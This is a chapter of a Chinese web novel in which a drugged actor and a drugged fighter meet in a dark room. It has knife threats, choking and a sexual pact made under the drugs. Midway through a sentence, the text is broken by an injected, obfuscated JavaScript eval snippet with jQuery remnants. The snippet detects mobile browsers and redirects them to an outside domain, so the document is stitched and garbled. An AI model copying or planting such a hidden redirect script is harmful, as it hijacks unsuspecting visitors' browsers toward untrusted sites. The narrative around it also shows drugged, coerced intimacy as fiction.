研究院已经研究出如何让男人怀孕了吗?
因为没见他对女人有兴趣,所以让男人来试探?
以研究院那帮人不达目的誓不罢休的疯狂,改造一个能怀孕的男人来完成任务并非没有可能。凌方朔讽刺的想着。
他缓步向床走去,床上人听到他走近的脚步声,提高音量色厉内荏喊道:“马竟成,你想把牢底坐穿吗?”
马竟成?凌方朔没听过这个名字,也不在意这又是研究院安排的怎样一出戏,不过,他听出男人嗓音中的紧绷和不大明显的慌张。
“滚,别靠近我!!!”凌方朔走至床边时,那道年轻沙哑的声音已有歇斯底里之相,与之一道的,还有他挣扎的巨大动静。
昏暗的光线中,凌方朔能大致看清男人双手被分开铐在床头两侧,金属的碰撞声正是男人挣扎时发出的动静音。
他很抗拒。凌方朔不大清晰的大脑仍努力运转思考着,并得出一个表面可得的结论。
“死胖子,滚开——”凌方朔欺近时,男人,即凌知珩未被束缚还有自由的双腿借由腰力大半个身体弹起,奋力朝他踢来。
多年战斗的经验让凌方朔往后稍退,劲风从他鼻间掠过,一股浅淡的柠檬香慢一步进入他鼻腔,又如一盏清水,短暂浇熄了焚烧他理智的火焰,让他得到了片刻的意识清明。
床上男人即凌知珩一击不成,又奋力补上第二击,但这一次,他的脚腕落在了一只手掌中,手掌滚烫,仿佛能将他皮肤烫伤。这并不是重点,重点是他失去了主动权。
更让他头皮发麻的是,那只抓着他脚腕的手如烙铁一般焊在他脚腕上,一折,一压,膝盖被压贴近胸口,继而脖颈间便感受到了利刃的寒凉,以及……血腥味。
凌知珩听到一个听不出情绪的声音问:“你能生孩子吗?”
能生孩子吗?这什么鬼问题?
他刚想回应,忽而发现一件事:“你不是马竟成?”这声音与他所认识也以为会出现在这里的色胚马竟成并不同。
凌方朔没有回答,而是加重手下力道,声音依旧听不出情绪:“回答我的问题。”
凌知珩眉头立时蹙起,这人的声音明显不是他所以为的马竟成,但他也不能放松,只是这问的什么破问题?
“我是男人。”他回答。
“我知道。”凌方朔还有判断的能力。
知道你还问?凌知珩将到嘴边不友善的怒怼硬生生吞了回去,当下这人身份不明,抵在他脖子里的刀可不是道具刀,刀身的锋利、金属的气息和血腥气都昭示着这人的恐怕不比那个想要潜规则他的变态马竟成安全多少。
“我是男人,没有怀孕的器官,也不具备怀孕的能力。”凌知珩尽量让自己语气放平稳些,以免触怒这人,给自己来上一刀。
“不能生孩子,研究院为什么让你过来?”凌方朔可不觉得研究院会派一个没有利用价值的人过来。
“什么研究院?我听不懂你说什么。”凌知珩不明所以,为增加说服力,他又补充:“这位先生,我是被人下了药绑在这里,虽然不知道为什么您会来到这个房间,但我希望您能让我离开,或者帮我联系我的朋友,让他过来接我。”他没敢说报警,就怕凌方朔是个违法犯罪分子。
尽管凌知珩竭力让自己呼吸平稳,吐字清晰,可他的嗓音以及间或夹杂在话语间略粗重的喘息足以让凌方朔判断出他情况的不佳。
淡淡柠檬香沁入鼻腔,本该是能让情绪平复的味道,却因身体里的强劲药效扩大了这股香气,对凌方朔而言反而成了一股诱惑。
他抓上凌知珩的手臂,而凌知珩在他触碰上自己时宛如被踩了尾巴的猫,瞬间身体紧绷开口:“你别碰我!”
“不想死就闭嘴!”如果床上的男人确实是研究院派来,凌方朔会立刻取了他的性命,但他的自辩以及状态让凌方朔迟疑。
凌方朔不惧杀人,却不会滥杀无辜。
凌知珩清晰感受到了他身上的杀气,药物影响下的发热身体甚至因这股冰冷锐利的杀气冒出股股寒意,被那只手抚过的胳膊上起了寸寸鸡皮疙瘩。
他想不明白,如今是法治社会,为什么还有那么多人敢光明正大触犯法律,是真的有恃无恐,还是法律已经保护不了公民了呢?
他该如何从这个危险的男人手下逃脱?
“嘣——”凌知珩疯狂思索自救办法时,一声清晰清脆的金属断裂声在头顶左上方响起,再之后,他的左手恢复了自由。
手铐并没有打开,而是手铐间的铐环被扯断了。
凌知珩惊愕于凌方朔的力气,一时失言。
凌方朔在扯断一只手铐铐环后并没有停,他抬步往床另一边走去,但才走出两步,发作的药效让他浑身失力,踉跄栽倒时一手撑在床沿处,艰难的呼吸着。
“……你怎么了?”凌知珩借着窗外透入的微弱光线勉强看清凌方朔不稳的身形,即使看不清细节,凌方朔粗重的呼吸也格外明显。
凌方朔没有回答,他将匕首刺入大腿,此时此刻,唯有疼痛还能让他勉强维持理智,抵挡药效。
这模糊的一幕,恰好让凌知珩看见了。
“你疯了吗?”他震惊开口,忽而灵光一闪:“你也被下药了?”
凌方朔依旧没有回答,他一手紧握匕首柄,一手撑着床站起,后槽牙紧咬,维持着匕首刺入大腿中的姿势,一步一步沿床而走,最终在凌知珩的另一边站定,摸上手铐,用力。
“嘣——”凌知珩挣扎许久,两手腕差点都折断都没能挣开的铐环就那么看似轻而易举被扯断了。
恢复自由的凌知珩一时还有些不敢相信,房间里逐渐浓郁的血腥气让他理智回笼,而后赶紧去查看疑似重创自己以维持清醒的“恩人”。
“你没……”“事吧”还没说出来,利刃已先一步抵到他的喉间。
凌方朔半眯着眼,身体中的难受无法用语言描述,即便如此,他仍维持着姿态用最冷静的语气问:“离开,还是死?”
凌知珩眼皮一跳,身体快于意识后退,他想从另一边下床,可一只脚刚踩在地上,整个人一阵头晕目眩,紧接着便一头栽了下去。
“砰——”即便地上铺着地毯,这一声也摔得足够响。
“艹他妈……”凭心而论,凌知珩是真不喜欢出口成脏,无论自己还是别人,他都很反感说脏话,然而今天所经历的这些,在他无法发泄之时,他只能用脏话来凑合。
凌方朔听到了那句脏话,但他依旧倚着床和床头柜,一动不动。
他的身体里此刻像是一座活火山,无数岩浆在其中翻涌喷发,巨大的热能不断压缩,只待一个点到来,会彻底的爆发。
会死吗?
凌方朔不怕死,但他恶心自己的尸体会被研究院带走,恶心臧兴瑞小人得志的嘴脸。
不想死,他不想死,至少不想死在青岚基地,他宁愿做魔植的养料,也不想成为臧兴瑞的实验体。
“喂……你怎么样?”凌方朔和身体的反应抗争时,他再次听见了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15710482|173626||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
房间里另一个人的声音,但他没有精力去回复,也不想回复。
没有得到回应的凌知珩又再次开口:“有没有手机?报警或急救电话能不能打一个?我快撑不住了……”
回应他的依旧是凌方朔的沉默和粗重的喘息,听起来就很难受的样子。
凌知珩想起他手起刀落的决绝,心中一惊,若是他扎的部位不对,失血过多,那明天的娱乐新闻头条怕不是“当红明星凌知珩杀人”?
“喂……”越想越慌,凌知珩可不想因为莫须有的事和刑事案扯上关系,他强撑着身体站起,步伐踉跄往床另一边去,“喂,你还活着吗?能不能说句话回应我唔……”
“砰——”凌知珩手脚发软,再次摔趴在地。
本就发晕的头在撞击下更像是连坐十年海盗船,而让他备觉难堪的还是此时身体的反应,他在进娱乐圈时就知道这个圈子不干净,但他坚信自己不是那种没有底气的小明星,没人敢堂而皇之对他伸手,万万没想到,他还是低估了这群人的底线,这种肮脏的下三滥的手段,着实让人恶心!
凌知珩正愤慨着,忽有一只手掐住他的脖子,将他上半身强硬提起,继而是男人浸满肃杀的声音:“想死,我成全你……”
脖颈中骤然加重的力道让凌知珩瞬间呼吸困难,再一次,他从男人身上感受到了毫无遮掩的杀意,宛如一盆冰水兜头浇下。
“放……开……”求生的本能让凌知珩越过药效,理智地挣扎起来。
那一刻,凌方朔是真的想杀了这个身份未名的人,可比起同样中了药且药效发作的凌知珩,他身上的药效才是真正可怕,与他一比,凌知珩身上药效发作的身体发热温度都显得“冰”了不少。
他需要“降温”,否则,他极有可能熬不过今晚。
脖子里的手松开,凌知珩尚未来得及喘息,身体便是一重——他被整个人抱住。
烫!
好烫!
即使隔着衣服,即使身上也十分燥热,可凌知珩依旧能感受到对方身上那炙热的温度,四十度?五十度?还是六十度?这样的温度放任不管真的不会死人吗?
原以为自己被下药已经够惨,没想到还有人比他更惨。凌知珩短暂同情了凌方朔几秒,可一想到对方刚刚差点掐断他的脖子,他就恨不得抽对方八十个耳刮子。
越箍越紧的双臂让凌知珩根本没法将八十个耳刮子付诸实践,他甚至怀疑对方能用双臂将他勒至窒息。
而即便到了这时候,对方也只是抱着他,贪图他身上的凉意,没有丧失神智到直接抓人干柴烈火。
但……直至此时,他已经快坚持不住。
“……我们做个约定。”凌知珩用力咬了咬舌尖,尝到血腥味的同时神智也有了些许清明,与此同时,他也用力抓住凌方朔的双臂,试图以疼痛让凌方朔清醒一些。
可惜,他那点力道并不足以让凌方朔产生痛感,凌方朔是通过搅动还扎在腿上的匕首来维持清醒。
“……什么约定?”凌方朔缓慢问。
凌知珩一字一字语气清晰道:“今晚,我做你的解药,你做我的解药,不问、不打探彼此信息,出了这间房,我们依旧是陌生人。”
凌方朔一时没有回应,凌知珩也强忍身体不适,没有催促他,良久,他才沉沉问:“你真的不能生孩子?”
凌知珩咬牙强忍的表情瞬间崩裂,他吼道:“老子再说最后一次,老子是男人,没有那个功唔……”后面的话被突然压下的双唇结结实实堵住。